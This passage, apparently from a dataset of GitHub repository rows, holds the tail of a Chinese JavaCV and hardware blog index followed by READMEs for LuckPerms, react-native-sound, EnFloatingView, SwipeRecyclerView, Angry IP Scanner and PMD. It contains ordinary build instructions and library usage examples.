7. [《JavaCV的摄像头实战之六:保存为mp4文件(有声音)》](https://xinchen.blog.csdn.net/article/details/121713539)
8. [《JavaCV的摄像头实战之七:推流(带声音)》](https://xinchen.blog.csdn.net/article/details/121713559)
9. [《JavaCV的摄像头实战之八:人脸检测》](https://xinchen.blog.csdn.net/article/details/121730985)
10. [《JavaCV人脸识别三部曲之一:视频中的人脸保存为图片》](https://xinchen.blog.csdn.net/article/details/122008998)
11. [《JavaCV人脸识别三部曲之二:训练》](https://xinchen.blog.csdn.net/article/details/122016154)
12. [《JavaCV人脸识别三部曲之三:识别和预览》](https://xinchen.blog.csdn.net/article/details/122021850)
13. [《JavaCV的摄像头实战之十二:性别检测》](https://xinchen.blog.csdn.net/article/details/122098821)
14. [《JavaCV的摄像头实战之十三:年龄检测》](https://xinchen.blog.csdn.net/article/details/122151728)
15. [《最简单的人脸检测(免费调用百度AI开放平台接口)》](https://xinchen.blog.csdn.net/article/details/122285751)
16. [《JavaCV的摄像头实战之十四:口罩检测》](https://xinchen.blog.csdn.net/article/details/122375869)
17. [《Java版人脸跟踪三部曲之一:极速体验》](https://xinchen.blog.csdn.net/article/details/122391898)
18. [《Java版人脸跟踪三部曲之二:开发设计》](https://xinchen.blog.csdn.net/article/details/122528833)
19. [《Java版人脸跟踪三部曲之三:编码实战》](https://xinchen.blog.csdn.net/article/details/122678517)
# 硬件
## 树莓派
1. [《树莓派3B安装64位操作系统(树莓派无需连接显示器键盘鼠标)》](https://blog.csdn.net/boling_cavalry/article/details/80716098)
2. [《64位树莓派上安装和配置golang1.9.2》](https://blog.csdn.net/boling_cavalry/article/details/84501381)
3. [《树莓派3B搭建Flink集群》](https://blog.csdn.net/boling_cavalry/article/details/85222494)
4. [《树莓派部署Elasticsearch6集群》](https://blog.csdn.net/boling_cavalry/article/details/89440971)
5. [《树莓派4B安装64位Linux(不用显示器键盘鼠标)》](https://blog.csdn.net/boling_cavalry/article/details/100594275)
6. [《树莓派4B安装docker-compose(64位Linux)》](https://blog.csdn.net/boling_cavalry/article/details/101105693)
## 群晖
1. [《群晖DS218+做maven私服(nexus3)》](https://xinchen.blog.csdn.net/article/details/105458466)
2. [《群晖DS218+部署mysql》](https://xinchen.blog.csdn.net/article/details/105460567)
3. [《群晖DS218+部署kafka》](https://xinchen.blog.csdn.net/article/details/105462692)
4. [《K8S使用群晖DS218+的NFS》](https://xinchen.blog.csdn.net/article/details/105465233)
5. [《群晖DS218+部署GitLab》](https://blog.csdn.net/boling_cavalry/article/details/106973743)
### 标记(改过内容)
[《把pinpoint编译环境做成Docker镜像文件》](https://blog.csdn.net/boling_cavalry/article/details/78447310)
| 0 |
LuckPerms/LuckPerms | A permissions plugin for Minecraft servers. | 2016-05-22T00:49:12Z | null | ![](https://raw.githubusercontent.com/LuckPerms/branding/master/banner/banner.png "Banner")
# LuckPerms
[![Build Status](https://ci.lucko.me/job/LuckPerms/badge/icon)](https://ci.lucko.me/job/LuckPerms/)
[![javadoc](https://javadoc.io/badge2/net.luckperms/api/javadoc.svg)](https://javadoc.io/doc/net.luckperms/api)
[![Maven Central](https://img.shields.io/maven-metadata/v/https/repo1.maven.org/maven2/net/luckperms/api/maven-metadata.xml.svg?label=maven%20central&colorB=brightgreen)](https://search.maven.org/artifact/net.luckperms/api)
[![Discord](https://img.shields.io/discord/241667244927483904.svg?label=discord&logo=discord)](https://discord.gg/luckperms)
LuckPerms is a permissions plugin for Minecraft servers. It allows server admins to control what features players can use by creating groups and assigning permissions.
The latest downloads, wiki & other useful links can be found on the project homepage at [luckperms.net](https://luckperms.net/).
It is:
* **fast** - written with performance and scalability in mind.
* **reliable** - trusted by thousands of server admins, and the largest of server networks.
* **easy to use** - setup permissions using commands, directly in config files, or using the web editor.
* **flexible** - supports a variety of data storage options, and works on lots of different server types.
* **extensive** - a plethora of customization options and settings which can be changed to suit your server.
* **free** - available for download and usage at no cost, and permissively licensed so it can remain free forever.
For more information, see the wiki article on [Why LuckPerms?](https://luckperms.net/wiki/Why-LuckPerms)
## Building
LuckPerms uses Gradle to handle dependencies & building.
#### Requirements
* Java 21 JDK or newer
* Git
#### Compiling from source
```sh
git clone https://github.com/LuckPerms/LuckPerms.git
cd LuckPerms/
./gradlew build
```
You can find the output jars in the `loader/build/libs` or `build/libs` directories.
## Tests
There are some automated tests which run during each build.
* Unit tests are defined in [`common/src/test`](https://github.com/LuckPerms/LuckPerms/tree/master/common/src/test)
* Integration tests are defined in [`standalone/src/test`](https://github.com/LuckPerms/LuckPerms/tree/master/standalone/src/test).
## Contributing
#### Pull Requests
If you make any changes or improvements to the plugin which you think would be beneficial to others, please consider making a pull request to merge your changes back into the upstream project. (especially if your changes are bug fixes!)
LuckPerms loosely follows the [Google Java Style Guide](https://google.github.io/styleguide/javaguide.html). Generally, try to copy the style of code found in the class you're editing.
#### Project Layout
The project is split up into a few separate modules.
* **API** - The public, semantically versioned API used by other plugins wishing to integrate with and retrieve data from LuckPerms. This module (for the most part) does not contain any implementation itself, and is provided by the plugin.
* **Common** - The common module contains most of the code which implements the respective LuckPerms plugins. This abstract module reduces duplicated code throughout the project.
* **Bukkit, BungeeCord, Fabric, Forge, Nukkit, Sponge & Velocity** - Each use the common module to implement plugins on the respective server platforms.
## License
LuckPerms is licensed under the permissive MIT license. Please see [`LICENSE.txt`](https://github.com/LuckPerms/LuckPerms/blob/master/LICENSE.txt) for more info.
| 0 |
zmxv/react-native-sound | React Native module for playing sound clips | 2015-10-19T06:22:23Z | null | # react-native-sound
[![](https://img.shields.io/npm/v/react-native-sound.svg?style=flat-square)][npm]
[![](https://img.shields.io/npm/l/react-native-sound.svg?style=flat-square)][npm]
[![](https://img.shields.io/npm/dm/react-native-sound.svg?style=flat-square)][npm]
[npm]: https://www.npmjs.com/package/react-native-sound
React Native module for playing sound clips on iOS, Android, and Windows.
Be warned, this software is alpha quality and may have bugs. Test on your own
and use at your own risk!
## Feature matrix
React-native-sound does not support streaming. See [#353][] for more info.
Of course, we would welcome a PR if someone wants to take this on.
In iOS, the library uses [AVAudioPlayer][], not [AVPlayer][].
[#353]: https://github.com/zmxv/react-native-sound/issues/353
[AVAudioPlayer]: https://developer.apple.com/documentation/avfoundation/avaudioplayer
[AVPlayer]: https://developer.apple.com/documentation/avfoundation/avplayer
Feature | iOS | Android | Windows
---|---|---|---
Load sound from the app bundle | ✓ | ✓ | ✓
Load sound from other directories | ✓ | ✓ | ✓
Load sound from the network | ✓ | ✓ |
Play sound | ✓ | ✓ | ✓
Playback completion callback | ✓ | ✓ | ✓
Pause | ✓ | ✓ | ✓
Resume | ✓ | ✓ | ✓
Stop | ✓ | ✓ | ✓
Reset | | ✓ |
Release resource | ✓ | ✓ | ✓
Get duration | ✓ | ✓ | ✓
Get number of channels | ✓ | |
Get/set volume | ✓ | ✓ | ✓
Get system volume | ✓ | ✓ |
Set system volume | | ✓ |
Get/set pan | ✓ | |
Get/set loops | ✓ | ✓ | ✓
Get/set exact loop count | ✓ | |
Get/set current time | ✓ | ✓ | ✓
Set speed | ✓ | ✓ |
## Installation
First install the npm package from your app directory:
```javascript
npm install react-native-sound --save
```
Note: If your react-native version is >= 0.60 then linking is done automatically.
If your react-native version is < 0.60 then link it using:
```javascript
react-native link react-native-sound
```
**If you encounter this error**
```
undefined is not an object (evaluating 'RNSound.IsAndroid')
```
you may additionally need to fully clear your build caches for Android. You
can do this using
```bash
cd android
./gradlew cleanBuildCache
```
After clearing your build cache, you should execute a new `react-native` build.
If you still experience issues, **know that this is the most common build issue.** See [#592][] and the several
issues linked from it for possible resolution. A pull request with improved
documentation on this would be welcome!
[#592]: https://github.com/zmxv/react-native-sound/issues/592
### Manual Installation Notes
Please see the Wiki for these details https://github.com/zmxv/react-native-sound/wiki/Installation
## Help with React-Native-Sound
* For react-native-sound developers [![][gitter badge]](https://gitter.im/react-native-sound/developers)
* For help using react-native-sound [![][gitter badge]](https://gitter.im/react-native-sound/Help)
[gitter badge]: https://img.shields.io/gitter/room/react-native-sound/developers.svg?format=flat-square
## Demo project
https://github.com/zmxv/react-native-sound-demo
## Player
<img src="https://github.com/benevbright/react-native-sound-playerview/blob/master/docs/demo.gif?raw=true">
https://github.com/benevbright/react-native-sound-playerview
## Basic usage
First you'll need to add audio files to your project.
- Android: Save your sound clip files under the directory `android/app/src/main/res/raw`. Note that files in this directory must be lowercase and underscored (e.g. my_file_name.mp3) and that subdirectories are not supported by Android.
- iOS: Open Xcode and add your sound files to the project (Right-click the project and select `Add Files to [PROJECTNAME]`)
```js
// Import the react-native-sound module
var Sound = require('react-native-sound');
// Enable playback in silence mode
Sound.setCategory('Playback');
// Load the sound file 'whoosh.mp3' from the app bundle
// See notes below about preloading sounds within initialization code below.
var whoosh = new Sound('whoosh.mp3', Sound.MAIN_BUNDLE, (error) => {
if (error) {
console.log('failed to load the sound', error);
return;
}
// loaded successfully
console.log('duration in seconds: ' + whoosh.getDuration() + 'number of channels: ' + whoosh.getNumberOfChannels());
// Play the sound with an onEnd callback
whoosh.play((success) => {
if (success) {
console.log('successfully finished playing');
} else {
console.log('playback failed due to audio decoding errors');
}
});
});
// Reduce the volume by half
whoosh.setVolume(0.5);
// Position the sound to the full right in a stereo field
whoosh.setPan(1);
// Loop indefinitely until stop() is called
whoosh.setNumberOfLoops(-1);
// Get properties of the player instance
console.log('volume: ' + whoosh.getVolume());
console.log('pan: ' + whoosh.getPan());
console.log('loops: ' + whoosh.getNumberOfLoops());
// Seek to a specific point in seconds
whoosh.setCurrentTime(2.5);
// Get the current playback point in seconds
whoosh.getCurrentTime((seconds) => console.log('at ' + seconds));
// Pause the sound
whoosh.pause();
// Stop the sound and rewind to the beginning
whoosh.stop(() => {
// Note: If you want to play a sound after stopping and rewinding it,
// it is important to call play() in a callback.
whoosh.play();
});
// Release the audio player resource
whoosh.release();
```
## Notes
- To minimize playback delay, you may want to preload a sound file without calling `play()` (e.g. `var s = new Sound(...);`) during app initialization. This also helps avoid a race condition where `play()` may be called before loading of the sound is complete, which results in no sound but no error because loading is still being processed.
- You can play multiple sound files at the same time. Under the hood, this module uses `AVAudioSessionCategoryAmbient` to mix sounds on iOS.
- You may reuse a `Sound` instance for multiple playbacks.
- On iOS, the module wraps `AVAudioPlayer` that supports aac, aiff, mp3, wav etc. The full list of supported formats can be found at https://developer.apple.com/library/content/documentation/MusicAudio/Conceptual/CoreAudioOverview/SupportedAudioFormatsMacOSX/SupportedAudioFormatsMacOSX.html
- On Android, the module wraps `android.media.MediaPlayer`. The full list of supported formats can be found at https://developer.android.com/guide/topics/media/media-formats.html
- On Android, the absolute path can start with '/sdcard/'. So, if you want to access a sound called "my_sound.mp3" on Downloads folder, the absolute path will be: '/sdcard/Downloads/my_sound.mp3'.
- You may chain non-getter calls, for example, `sound.setVolume(.5).setPan(.5).play()`.
## Audio on React Native
- [The State of Audio Libraries in React Native (Oct. 2018)][medium]
- [react-native-audio-toolkit][]
- [react-native-video][] (also plays audio)
- [Expo Audio SDK][]
- [#media on awesome-react-native][#media]
[medium]: https://medium.com/@emmettharper/the-state-of-audio-libraries-in-react-native-7e542f57b3b4
[react-native-audio-toolkit]: https://github.com/react-native-community/react-native-audio-toolkit
[react-native-video]: https://github.com/react-native-community/react-native-video
[expo audio sdk]: https://docs.expo.io/versions/latest/sdk/audio/
[#media]: http://www.awesome-react-native.com/#media
## Contributing
Pull requests welcome with bug fixes, documentation improvements, and
enhancements.
When making big changes, please open an issue first to discuss.
## License
This project is licensed under the MIT License.
| 0 |
leotyndale/EnFloatingView | 🔥应用内悬浮窗,无需一切权限,适配所有ROM和厂商,no permission floating view. | 2018-03-15T11:40:59Z | null | [![Logo](https://raw.githubusercontent.com/leotyndale/EnFloatingView/master/preview/logo.png)](http://www.imuxuan.com/)
EnFloatingView
==========================
[![Jcenter](https://img.shields.io/badge/Jcenter-v1.5-brightgreen.svg?style=flat)](https://bintray.com/leotyndale/Muxuan/EnFloatingView)
[![Muxuan](https://img.shields.io/badge/PoweredBy-Muxuan-green.svg?style=flat)](http://www.imuxuan.com/)
[![Website](https://img.shields.io/website-up-down-green-red/https/shields.io.svg?label=Blog)](http://blog.imuxuan.com)
[![《移动开发架构设计实战》](https://upload-images.jianshu.io/upload_images/14802001-4864444c478c88ee.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)](https://item.jd.com/12730926.html)
[🔥🔥🔥 马上重构你的架构思维](https://item.jd.com/12730926.html)
==========================
[English](/README_EN.md)
无需一切权限,不受各种国产ROM限制,默认可以显示的应用内悬浮窗。
### 传统方案
对于传统悬浮窗和一些古老的“黑科技”悬浮窗的实现,想必已经有很多成熟的案例了,实现策略基本为以下两种:
1. TYPE_SYSTEM_ALERT类型
```java
mWindowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams()
layoutParams.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;
```
需要权限:
```java
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" ></uses>
```
2. TYPE_TOAST / TYPE_PHONE 类型
7.1.1以下不需要权限声明,在魅族、华为、小米等机型上默认隐藏,需要引导用户打开悬浮窗。
### 传统方案的问题
第一种方案因为存在各种限制,不能被众多开发采纳,故而比较流行的悬浮窗实现方式是第二种。
但是,我们有自己的原则:
- 不能接受7.1.1以上机型,使用第二种方式实现悬浮窗仍需要用户主动授予权限的操作?
- 不能接受在魅族、华为、小米等机型上默认隐藏,需要引导用户打开悬浮窗,就像这样
![权限管理](https://github.com/leotyndale/EnFloatingView/blob/master/preview/1.gif)
### 功能
- 应用内显示,无需申请任何权限
- 应用内显示,所有机型都可以默认显示悬浮窗,无需引导用户做更多设置
- 支持拖拽
- 超出屏幕限制移动
- 可自动吸附到屏幕边缘
### 基本使用规则
1.在gralde的dependencies中加入
```java
compile 'com.imuxuan:floatingview:1.6'
```
2.在基类Activity(注意必须是基类Activity)中的onStart和onStop(或者安卓原生ActivityLifeCycle监听)中添加如下代码
```java
@Override
protected void onStart() {
super.onStart();
FloatingView.get().attach(this);
}
@Override
protected void onStop() {
super.onStop();
FloatingView.get().detach(this);
}
```
3.展示悬浮窗
```java
FloatingView.get().add();
```
### 扩展用法
1.销毁悬浮窗
```java
FloatingView.get().remove();
```
2.添加点击事件
```java
FloatingView.get().listener(new MagnetViewListener() {
@Override
public void onRemove(FloatingMagnetView magnetView) {
Toast.makeText(TestActivity.this, "我没了", Toast.LENGTH_SHORT).show();
}
@Override
public void onClick(FloatingMagnetView magnetView) {
Toast.makeText(TestActivity.this, "点到我了", Toast.LENGTH_SHORT).show();
}
});
```
3.获得悬浮窗View
```java
FloatingView.get().getView();
```
4.设置悬浮窗icon
```java
FloatingView.get().icon(R.drawable.XXXXX);
```
5.设置悬浮窗View
```java
FloatingView.get().customView(new View());
or
FloatingView.get().customView(R.layout.XXXXX);
```
6.设置悬浮窗位置等布局参数
```java
FloatingView.get().layoutParams(new ViewGroup.LayoutParams());
```
### 效果图
![预览图](https://github.com/leotyndale/EnFloatingView/blob/master/preview/2.gif)
### 更新记录
1.6
修复横竖屏切换错位 & 添加到布局时偶发崩溃
1.5
修复内存泄露问题
1.4
适配折叠屏
1.3
增加自定义layout等API
1.2
修复拖拽失效
1.1
点击监听问题处理
1.0
创建项目
| 0 |
yanzhenjie/SwipeRecyclerView | :melon: RecyclerView侧滑菜单,Item拖拽,滑动删除Item,自动加载更多,HeaderView,FooterView,Item分组黏贴。 | 2016-08-03T15:43:34Z | null | # SwipeRecyclerView
作者的主页:[https://www.yanzhenjie.com](https://www.yanzhenjie.com)
技术交流群:[46505645](https://jq.qq.com/?_wv=1027&k=5wY8UWl)
----
本库是基于RecyclerView的封装,提供了Item侧滑菜单、Item滑动删除、Item长按拖拽、添加HeaderView/FooterView、加载更多、Item点击监听等基本功能。
## 特性
1. Item侧滑菜单,支持水平分布、垂直分布
2. Item长按拖拽、侧滑删除
3. 添加/移除HeaderView/FooterView
4. **自动/点击**加载更多的功能
5. 支持二级列表,List形式、Grid形式、Staggered形式
6. Sticky普通布局黏贴和ReyclerView分组黏贴
7. 支持AndroidX
> 使用本库只需要使用SwipeRecyclerView即可,用法和原生RecyclerView一模一样,本库比原生的RecyclerView多了几个扩展方法。
## 截图
对上面提到的效果基本都有演示,但不是全部,更多效果可以下载Demo查看。
### Item侧滑菜单
<img src="./image/1.gif" width="180px"/> <img src="./image/2.gif" width="180px"/> <img src="./image/3.gif" width="180px"/>
### Item侧滑删除、拖拽
<img src="./image/4.gif" width="180px"/> <img src="./image/5.gif" width="180px"/> <img src="./image/6.gif" width="180px"/>
### 下拉刷新和加载更多
<img src="./image/7.gif" width="180px"/>
### HeaderView和FooterView
<img src="./image/8.gif" width="180px"/>
### Sticky效果和Item分组
<img src="./image/9.gif" width="180px"/> <img src="./image/10.gif" width="180px"/>
### 和DrawerLayout嵌套
<img src="./image/11.gif" width="180px"/>
## 如何使用
如果你使用的是android support库,那么请添加下述依赖:
```groovy
implementation 'com.yanzhenjie.recyclerview:support:1.3.2'
```
如果你使用的是android x库,那么请添加下述依赖:
```groovy
implementation 'com.yanzhenjie.recyclerview:x:1.3.2'
```
> **1. SwipeRecyclerView从1.3.0版本开始支持AndroidX和二级列表,因此相对于低版本的包名和类名有所改动,从低版本升级的开发者需要考量是否要升级。**
**2. 为了让开发者方便切换support库和x库,SwipeRecyclerView的support库和x库除了依赖时的名称不一样外,包名、控件名和类名都是一样的,因此两个库不能共存。**
### 加入布局
在布局的xml中加入`SwipeRecyclerView`:
```xml
<com.yanzhenjie.recyclerview.SwipeRecyclerView
.../>
```
### ItemDecoration
也就是分割线,支持Grid形式和Linear形式,可以选择某个ViewType不画分割线:
```java
// 默认构造,传入颜色即可。
ItemDecoration itemDecoration = new DefaultDecoration(color);
// 或者:颜色,宽,高,最后一个参数是不画分割线的ViewType,可以传入多个。
itemDecoration = new DefaultDecoration(color, width, height, excludeViewType);
// 或者:例如下面的123都是不画分割线的ViewType:
itemDecoration = new DefaultDecoration(color, width, height, 1, 2, 3);
SwipeRecyclerView recyclerView = ...;
recyclerView.setDecoration(itemDecoration);
```
### Item点击监听
```java
recyclerView.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(View view, int position) {
// TODO...
}
});
```
### 侧滑菜单
```java
// 设置监听器。
swipeRecyclerView.setSwipeMenuCreator(mSwipeMenuCreator);
// 创建菜单:
SwipeMenuCreator mSwipeMenuCreator = new SwipeMenuCreator() {
@Override
public void onCreateMenu(SwipeMenu leftMenu, SwipeMenu rightMenu, int position) {
SwipeMenuItem deleteItem = new SwipeMenuItem(mContext)
...; // 各种文字和图标属性设置。
leftMenu.addMenuItem(deleteItem); // 在Item左侧添加一个菜单。
SwipeMenuItem deleteItem = new SwipeMenuItem(mContext)
...; // 各种文字和图标属性设置。
leftMenu.addMenuItem(deleteItem); // 在Item右侧添加一个菜单。
// 注意:哪边不想要菜单,那么不要添加即可。
}
};
// 菜单点击监听。
swipeRecyclerView.setOnItemMenuClickListener(mItemMenuClickListener);
OnItemMenuClickListener mItemMenuClickListener = new OnItemMenuClickListener() {
@Override
public void onItemClick(SwipeMenuBridge menuBridge, int position) {
// 任何操作必须先关闭菜单,否则可能出现Item菜单打开状态错乱。
menuBridge.closeMenu();
// 左侧还是右侧菜单:
int direction = menuBridge.getDirection();
// 菜单在Item中的Position:
int menuPosition = menuBridge.getPosition();
}
};
```
**注意**:菜单需要设置高度,关于菜单高度:
1. `MATCH_PARENT`,自动适应Item高度,保持和Item一样高,比较推荐;
2. 指定具体的高,比如80;
3. `WRAP_CONTENT`,自身高度,极不推荐;
### 侧滑删除和拖拽
拖拽和侧滑删除的功能默认关闭的,所以先要打开功能:
```java
recyclerView.setLongPressDragEnabled(true); // 拖拽排序,默认关闭。
recyclerView.setItemViewSwipeEnabled(true); // 侧滑删除,默认关闭。
```
只需要设置上面两个属性就可以进行相应的动作了,如果不需要哪个,不要打开就可以了。
然后监听拖拽和侧滑的动作,进行数据更新:
```java
recyclerView.setOnItemMoveListener(mItemMoveListener);// 监听拖拽,更新UI。
OnItemMoveListener mItemMoveListener = new OnItemMoveListener() {
@Override
public boolean onItemMove(ViewHolder srcHolder, ViewHolder targetHolder) {
// 此方法在Item拖拽交换位置时被调用。
// 第一个参数是要交换为之的Item,第二个是目标位置的Item。
// 交换数据,并更新adapter。
int fromPosition = srcHolder.getAdapterPosition();
int toPosition = targetHolder.getAdapterPosition();
Collections.swap(mDataList, fromPosition, toPosition);
adapter.notifyItemMoved(fromPosition, toPosition);
// 返回true,表示数据交换成功,ItemView可以交换位置。
return true;
}
@Override
public void onItemDismiss(ViewHolder srcHolder) {
// 此方法在Item在侧滑删除时被调用。
// 从数据源移除该Item对应的数据,并刷新Adapter。
int position = srcHolder.getAdapterPosition();
mDataList.remove(position);
adapter.notifyItemRemoved(position);
}
};
```
**特别注意**:如果`LayoutManager`是`List`形式,那么Item拖拽时只能从1-2-3-4这样走,如果你的`LayoutManager`是`Grid`形式的,那么Item可以从1直接到3或者5或者6...,这样数据就会错乱,所以**当`LayoutManager`是Grid形式时**这里要特别注意转换数据位置的算法:
```java
@Override
public boolean onItemMove(ViewHolder srcHolder, ViewHolder targetHolder) {
int fromPosition = srcHolder.getAdapterPosition();
int toPosition = targetHolder.getAdapterPosition();
if (fromPosition < toPosition) {
for (int i = fromPosition; i < toPosition; i++) {
Collections.swap(mDataList, i, i + 1);
}
} else {
for (int i = fromPosition; i > toPosition; i--) {
Collections.swap(mDataList, i, i - 1);
}
}
mMenuAdapter.notifyItemMoved(fromPosition, toPosition);
return true;
}
```
我们还可以监听用户的侧滑删除和拖拽Item时的手指状态:
```java
recyclerView.setOnItemStateChangedListener(mStateChangedListener);
...
private OnItemStateChangedListener mStateChangedListener = (viewHolder, actionState) -> {
if (actionState == OnItemStateChangedListener.ACTION_STATE_DRAG) {
// 状态:正在拖拽。
} else if (actionState == OnItemStateChangedListener.ACTION_STATE_SWIPE) {
// 状态:滑动删除。
} else if (actionState == OnItemStateChangedListener.ACTION_STATE_IDLE) {
// 状态:手指松开。
}
};
```
想用户触摸到某个`Item`时就开始拖拽或者侧滑删除时,只需要调用`startDrag()`和`startSwipe()`并转入当前`Item`的`ViewHoler`即可。
触摸拖拽:
```java
swipeRecyclerView.startDrag(ViewHolder);
```
触摸侧滑删除:
```java
swipeRecyclerView.startSwipe(ViewHolder);
```
### HeaderView和FooterView
主要方法:
```java
addHeaderView(View); // 添加HeaderView。
removeHeaderView(View); // 移除HeaderView。
addFooterView(View); // 添加FooterView。
removeFooterView(View); // 移除FooterView。
getHeaderItemCount(); // 获取HeaderView个数。
getFooterItemCount(); // 获取FooterView个数。
getItemViewType(int); // 获取Item的ViewType,包括HeaderView、FooterView、普通ItemView。
```
添加/移除`HeaderView`/`FooterView`和`setAdapter()`的调用不分先后顺序。
**特别注意**:
1. 如果添加了`HeaderView`,凡是通过`ViewHolder`拿到的`position`都要减掉`HeaderView`的数量才能得到正确的`position`。
### 加载更多
本库默认提供了加载更多的动画和View,开发者也可以自定义,默认支持`RecyclerView`自带的三种布局管理器。
默认加载更多:
```java
RecyclerView recyclerView = ...;
...
recyclerView.useDefaultLoadMore(); // 使用默认的加载更多的View。
recyclerView.setLoadMoreListener(mLoadMoreListener); // 加载更多的监听。
LoadMoreListener mLoadMoreListener = new LoadMoreListener() {
@Override
public void onLoadMore() {
// 该加载更多啦。
... // 请求数据,并更新数据源操作。
mMainAdapter.notifyDataSetChanged();
// 数据完更多数据,一定要调用这个方法。
// 第一个参数:表示此次数据是否为空。
// 第二个参数:表示是否还有更多数据。
mRecyclerView.loadMoreFinish(false, true);
// 如果加载失败调用下面的方法,传入errorCode和errorMessage。
// errorCode随便传,你自定义LoadMoreView时可以根据errorCode判断错误类型。
// errorMessage是会显示到loadMoreView上的,用户可以看到。
// mRecyclerView.loadMoreError(0, "请求网络失败");
}
};
```
自定义加载更多View也很简单,自定义一个View,并实现一个接口即可:
```java
public class DefineLoadMoreView extends LinearLayout
implements SwipeRecyclerView.LoadMoreView,
View.OnClickListener {
private LoadMoreListener mLoadMoreListener;
public DefineLoadMoreView(Context context) {
super(context);
...
setOnClickListener(this);
}
/**
* 马上开始回调加载更多了,这里应该显示进度条。
*/
@Override
public void onLoading() {
// 展示加载更多的动画和提示信息。
...
}
/**
* 加载更多完成了。
*
* @param dataEmpty 是否请求到空数据。
* @param hasMore 是否还有更多数据等待请求。
*/
@Override
public void onLoadFinish(boolean dataEmpty, boolean hasMore) {
// 根据参数,显示没有数据的提示、没有更多数据的提示。
// 如果都不存在,则都不用显示。
}
/**
* 加载出错啦,下面的错误码和错误信息二选一。
*
* @param errorCode 错误码。
* @param errorMessage 错误信息。
*/
@Override
public void onLoadError(int errorCode, String errorMessage) {
}
/**
* 调用了setAutoLoadMore(false)后,在需要加载更多的时候,此方法被调用,并传入listener。
*/
@Override
public void onWaitToLoadMore(SwipeRecyclerView.LoadMoreListener loadMoreListener) {
this.mLoadMoreListener = loadMoreListener;
}
/**
* 非自动加载更多时mLoadMoreListener才不为空。
*/
@Override
public void onClick(View v) {
if (mLoadMoreListener != null) mLoadMoreListener.onLoadMore();
}
}
```
## 感谢与参考
* [cube-sdk](https://github.com/liaohuqiu/cube-sdk)
* [SwipeMenu](https://github.com/TUBB/SwipeMenu/)
* [HeaderAndFooterWrapper](https://github.com/hongyangAndroid/baseAdapter/blob/master/baseadapter-recyclerview/src/main/java/com/zhy/adapter/recyclerview/wrapper/HeaderAndFooterWrapper.java)
加载更多的灵感来自`cube-sdk`,侧滑菜单参考了`SwipeMenu`,添加`HeaderView`参考了`HeaderAndFooterWrapper`类,特别感谢上述开源库及其作者。
## License
```text
Copyright 2019 Zhenjie Yan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
``` | 0 |
angryip/ipscan | Angry IP Scanner - fast and friendly network scanner | 2011-06-28T20:58:48Z | null | # Angry IP Scanner
This is the source code of Angry IP Scanner, licensed with GPL v2. [Official site](https://angryip.org/)
The code is written mostly in Java (currently, source level 11).
[SWT library from Eclipse project](https://eclipse.org/swt/) is used for GUI that provides native components for each supported platform.
The project runs on Linux, Windows and macOS.
## Helping / Contributing
As there are millions of different networks, configurations and devices, please help with submitting a **Pull Request** if something
doesn't work as you expect (especially macOS users). Any problem is easy to fix if you have an environment to reproduce it 😀
For that, download [Intellij IDEA community edition](https://www.jetbrains.com/idea/download/) and open the cloned project.
Then, you can run Angry IP Scanner in Debug mode and put a breakpoint into the [desired Fetcher class](src/net/azib/ipscan/fetchers).
## Building [![Actions Status](https://github.com/angryip/ipscan/workflows/CI/badge.svg)](https://github.com/angryip/ipscan/actions)
Use Gradle for building a package for your desired platform:
`./gradlew` or `make` in the project dir for the list of available targets.
`./gradlew current` would build the app for your current platform
The resulting binaries will be put into the `build/libs` directory.
Run jar files with `java -jar <jar-file>`.
Deb and rpm packages can be built only on Linux (tested on Ubuntu).
Windows installer can be built on Windows only.
`./gradlew all` will build packages for all OS (tested on Ubuntu only, see dependencies below).
### Dependencies
On Ubuntu install the following packages:
```
sudo apt install openjdk-11-jdk rpm fakeroot
```
Install OpenJDK on other platforms as you usually do it.
| 0 |
pmd/pmd | An extensible multilanguage static code analyzer. | 2012-07-11T18:03:00Z | null | # PMD - source code analyzer
![PMD Logo](https://raw.githubusercontent.com/pmd/pmd/pmd/7.0.x/docs/images/logo/pmd-logo-300px.png)
[![Join the chat](https://img.shields.io/gitter/room/pmd/pmd)](https://app.gitter.im/#/room/#pmd_pmd:gitter.im?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
[![Build Status](https://github.com/pmd/pmd/workflows/build/badge.svg?branch=master)](https://github.com/pmd/pmd/actions)
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/net.sourceforge.pmd/pmd/badge.svg)](https://maven-badges.herokuapp.com/maven-central/net.sourceforge.pmd/pmd)
[![Reproducible Builds](https://img.shields.io/badge/Reproducible_Builds-ok-green?labelColor=blue)](https://github.com/jvm-repo-rebuild/reproducible-central/tree/master/content/net/sourceforge/pmd#readme)
[![Coverage Status](https://coveralls.io/repos/github/pmd/pmd/badge.svg)](https://coveralls.io/github/pmd/pmd)
[![Codacy Badge](https://app.codacy.com/project/badge/Grade/ea550046a02344ec850553476c4aa2ca)](https://app.codacy.com/organizations/gh/pmd/dashboard)
[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-v2.0%20adopted-ff69b4.svg)](code_of_conduct.md)
[![Documentation (latest)](https://img.shields.io/badge/docs-latest-green)](https://docs.pmd-code.org/latest/)
**PMD** is an extensible multilanguage static code analyzer. It finds common programming flaws like unused variables,
empty catch blocks, unnecessary object creation, and so forth. It's mainly concerned with **Java and
Apex**, but **supports 16 other languages**. It comes with **400+ built-in rules**. It can be
extended with custom rules. It uses JavaCC and Antlr to parse source files into abstract syntax trees
(AST) and runs rules against them to find violations. Rules can be written in Java or using a XPath query.
Currently, PMD supports Java, JavaScript, Salesforce.com Apex and Visualforce,
Kotlin, Swift, Modelica, PLSQL, Apache Velocity, JSP, WSDL, Maven POM, HTML, XML and XSL.
Scala is supported, but there are currently no Scala rules available.
Additionally, it includes **CPD**, the copy-paste-detector. CPD finds duplicated code in
Coco, C/C++, C#, Dart, Fortran, Gherkin, Go, Groovy, HTML, Java, JavaScript, JSP, Julia, Kotlin,
